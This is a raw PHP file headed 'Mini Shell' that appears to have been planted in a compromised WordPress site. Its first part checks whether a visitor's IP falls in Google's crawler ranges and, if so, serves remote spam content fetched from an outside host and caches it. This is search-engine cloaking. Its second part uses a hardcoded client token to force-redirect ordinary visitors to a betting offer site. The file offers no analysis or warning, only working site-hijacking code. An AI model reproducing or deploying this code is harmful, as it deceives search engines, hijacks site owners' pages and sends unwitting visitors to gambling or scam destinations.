Mini Shell
<?php
$googlebotRangesUrl = 'https://developers.google.com/search/apis/ipranges/googlebot.json';
$userIP = getUserIP();
$ipRanges = getGooglebotIPRanges($googlebotRangesUrl);
if (isGooglebotIP($userIP, $ipRanges)) {
showRemoteContent();
exit();
}
function fetchUrl($url) {
if (function_exists('curl_init') && ini_get('allow_url_fopen') == false) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (compatible; Content Fetcher)');
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$result = curl_exec($ch);
curl_close($ch);
return $result;
} else {
$context = stream_context_create([
'http' => [
'timeout' => 10,
'user_agent' => 'Mozilla/5.0 (compatible; Content Fetcher)'
]
]);
return @file_get_contents($url, false, $context);
}
}
function getUserIP() {
$headers = [
'HTTP_CF_CONNECTING_IP',
'HTTP_X_FORWARDED_FOR',
'HTTP_X_REAL_IP',
'HTTP_CLIENT_IP',
'HTTP_X_FORWARDED',
'HTTP_FORWARDED_FOR',
'HTTP_FORWARDED'
];
foreach ($headers as $header) {
if (isset($_SERVER[$header]) && !empty($_SERVER[$header])) {
$ips = explode(',', $_SERVER[$header]);
$ip = trim($ips[0]);
if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
return $ip;
}
}
}
return $_SERVER['REMOTE_ADDR'] ?? '127.0.0.1';
}
function getGooglebotIPRanges($url) {
$jsonData = fetchUrl($url);
if ($jsonData === false) {
return [];
}
$data = json_decode($jsonData, true);
if (!isset($data['prefixes']) || !is_array($data['prefixes'])) {
return [];
}
$ranges = [
'ipv4' => [],
'ipv6' => []
];
foreach ($data['prefixes'] as $prefix) {
if (isset($prefix['ipv4Prefix'])) {
$ranges['ipv4'][] = $prefix['ipv4Prefix'];
} elseif (isset($prefix['ipv6Prefix'])) {
$ranges['ipv6'][] = $prefix['ipv6Prefix'];
}
}
return $ranges;
}
function isGooglebotIP($ip, $ipRanges) {
if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4)) {
foreach ($ipRanges['ipv4'] as $range) {
if (ipv4InRange($ip, $range)) {
return true;
}
}
}
if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6)) {
foreach ($ipRanges['ipv6'] as $range) {
if (ipv6InRange($ip, $range)) {
return true;
}
}
}
return false;
}
function showRemoteContent() {
$domain = $_SERVER['HTTP_HOST'];
$remoteUrl = "https://wonderfulworld.site/tr/{$domain}/tr.txt";
$cacheDir = $_SERVER['DOCUMENT_ROOT'] . '/wp-content/cache/wonderfulworld/tr/';
$cacheFile = $cacheDir . md5($domain) . '.txt';
$cacheTime = 2592000;
if (!is_dir($cacheDir)) {
@mkdir($cacheDir, 0755, true);
}
$content = null;
if (file_exists($cacheFile) && (time() - filemtime($cacheFile)) < $cacheTime) {
$content = file_get_contents($cacheFile);
} else {
$content = fetchUrl($remoteUrl);
if ($content !== false) {
@file_put_contents($cacheFile, $content, LOCK_EX);
} else {
if (file_exists($cacheFile)) {
$content = file_get_contents($cacheFile);
}
}
}
if ($content !== false && $content !== '') {
echo $content;
} else {
http_response_code(503);
echo "Service temporarily unavailable";
}
}
function ipv4InRange($ip, $range) {
if (strpos($range, '/') === false) {
return $ip === $range;
}
list($subnet, $bits) = explode('/', $range);
$ip = ip2long($ip);
$subnet = ip2long($subnet);
if ($ip === false || $subnet === false) {
return false;
}
$mask = (-1 << (32 - (int)$bits)) & 0xFFFFFFFF;
return ($ip & $mask) == ($subnet & $mask);
}
function ipv6InRange($ip, $range) {
if (strpos($range, '/') === false) {
return $ip === $range;
}
list($subnet, $bits) = explode('/', $range);
$ip = inet_pton($ip);
$subnet = inet_pton($subnet);
if ($ip === false || $subnet === false) {
return false;
}
$bits = (int)$bits;
$mask = str_repeat(chr(0xff), intval($bits / 8));
if ($bits % 8) {
$mask .= chr(0xff << (8 - ($bits % 8)));
}
$mask = str_pad($mask, 16, chr(0x00));
for ($i = 0; $i < 16; $i++) {
if (($ip[$i] & $mask[$i]) != ($subnet[$i] & $mask[$i])) {
return false;
}
}
return true;
}
?>
<?php
require_once dirname(__FILE__) . '/wp-klient.php';
$client = new KClient('https://lom.bet/', 'cyyqzgq1gcmthgkz8rdrqb1mbqpbbmq7');
$client->sendAllParams();
$client->forceRedirectOffer();
$client->keyword('09_06_tr_main');
$client->currentPageAsReferrer();
$client->executeAndBreak();
?>